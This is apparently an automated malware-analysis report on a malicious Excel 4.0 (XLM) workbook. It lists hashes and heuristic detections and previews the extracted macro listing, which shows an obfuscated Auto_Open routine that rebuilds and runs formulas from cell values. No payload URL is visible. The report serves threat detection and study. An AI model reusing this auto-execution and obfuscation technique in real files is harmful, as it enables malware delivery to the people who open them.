Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c22ac754615cb2b4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:46 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: dd0f1221c2099bb21201b73b0aa7f670 SHA-1: a100c34f57aee27415da459568ff68faf5a815df SHA-256: c22ac754615cb2b42818b98fe2b297c8a6b5479a6a63880c3c2d3368e8f210a6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6680 bytes
SHA-256: 06ba2b447ecfdcdb0a401a1bbd2355aa87b34b4d9b6bd3eda15eb8eeb114e467
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ibYwWAJrEF
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G147 
' 0018     21 LABEL : Cell Value, String Constant - bybLnB len=0 
' 0018     25 LABEL : Cell Value, String Constant - EnSyVztmsB len=0 
' 0018     24 LABEL : Cell Value, String Constant - GHCiBvNuw len=0 
' 0018     23 LABEL : Cell Value, String Constant - HOpjeHso len=0 
' 0018     24 LABEL : Cell Value, String Constant - IwcGaamqB len=0 
' 0018     22 LABEL : Cell Value, String Constant - IzJKJCv len=0 
' 0018     27 LABEL : Cell Value, String Constant - JreMxaQchyjW len=0 
' 0018     26 LABEL : Cell Value, String Constant - JYJGACccsxc len=0 
' 0018     22 LABEL : Cell Value, String Constant - OhhTTOK len=0 
' 0018     25 LABEL : Cell Value, String Constant - pjvllTCksq len=0 
' 0018     27 LABEL : Cell Value, String Constant - PWsHdKBKyvMm len=0 
' 0018     20 LABEL : Cell Value, String Constant - SbFrp len=0 
' 0018     26 LABEL : Cell Value, String Constant - SJFFXOVyOlw len=0 
' 0018     20 LABEL : Cell Value, String Constant - TloJc len=0 
' 0018     22 LABEL : Cell Value, String Constant - TmQJusL len=0 
' 0018     26 LABEL : Cell Value, String Constant - weyepIRAdOh len=0 
' 0018     25 LABEL : Cell Value, String Constant - XNeQfjzVRR len=0 
' 0018     25 LABEL : Cell Value, String Constant - yxoFPZeaft len=0 
' 0018     23 LABEL : Cell Value, String Constant - YZBJiSIG len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZVIosOD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ibYwWAJrEF,G61,"SET.NAME("JYJGACccsxc",VALUE("0"))",""
'  ibYwWAJrEF,G63,"SET.NAME("SJFFXOVyOlw",JYJGACccsxc)",""
'  ibYwWAJrEF,G67,"SET.NAME("YZBJiSIG",JYJGACccsxc)",""
'  ibYwWAJrEF,G72,"SET.NAME("JreMxaQchyjW",COUNTA(HOpjeHso))",""
'  ibYwWAJrEF,G74,"SET.NAME("TmQJusL",COUNTA(TloJc))",""
'  ibYwWAJrEF,G78,[],""
'  ibYwWAJrEF,G81,"SET.NAME("bybLnB","")",""
'  ibYwWAJrEF,G85,"SJFFXOVyOlw",""
'  ibYwWAJrEF,G89,"SET.NAME("OhhTTOK",HLOOKUP("*",HOpjeHso,SJFFXOVyOlw,FALSE))",""
'  ibYwWAJrEF,G93,"weyepIRAdOh",""
'  ibYwWAJrEF,G95,"SET.NAME("PWsHdKBKyvMm",JYJGACccsxc)",""
'  ibYwWAJrEF,G99,[],""
'  ibYwWAJrEF,G101,"PWsHdKBKyvMm",""
'  ibYwWAJrEF,G103,"SbFrp",""
'  ibYwWAJrEF,G108,"XNeQfjzVRR",""
'  ibYwWAJrEF,G110,"IzJKJCv",""
'  ibYwWAJrEF,G112,"SET.NAME("pjvllTCksq",VALUE(HLOOKUP("*",TloJc,IzJKJCv,FALSE)))",""
'  ibYwWAJrEF,G116,"ZVIosOD",""
'  ibYwWAJrEF,G120,"bybLnB",""
'  ibYwWAJrEF,G123,"YZBJiSIG",""
'  ibYwWAJrEF,G126,NEXT(),""
'  ibYwWAJrEF,G129,"EnSyVztmsB",""
'  ibYwWAJrEF,G133,"SET.NAME("f",INT(T(FORMULA(T(bybLnB)&"",""&T(EnSyVztmsB)))))",""
'  ibYwWAJrEF,G138,"IwcGaamqB",""
'  ibYwWAJrEF,G141,NEXT(),""
'  ibYwWAJrEF,G144,RETURN(),""
'  ibYwWAJrEF,G172,"SET.NAME("yxoFPZeaft",G61)",""
'  ibYwWAJrEF,G175,"HOpjeHso",""
'  ibYwWAJrEF,G179,"SET.NAME("TloJc",R47C14)",""
'  ibYwWAJrEF,G181,"SET.NAME("IwcGaamqB",190)",""
'  ibYwWAJrEF,G186,"SET.NAME("GHCiBvNuw",7)",""
'  ibYwWAJrEF,G189,yxoFPZeaft(),""
'  ibYwWAJrEF,G190,HALT(),""

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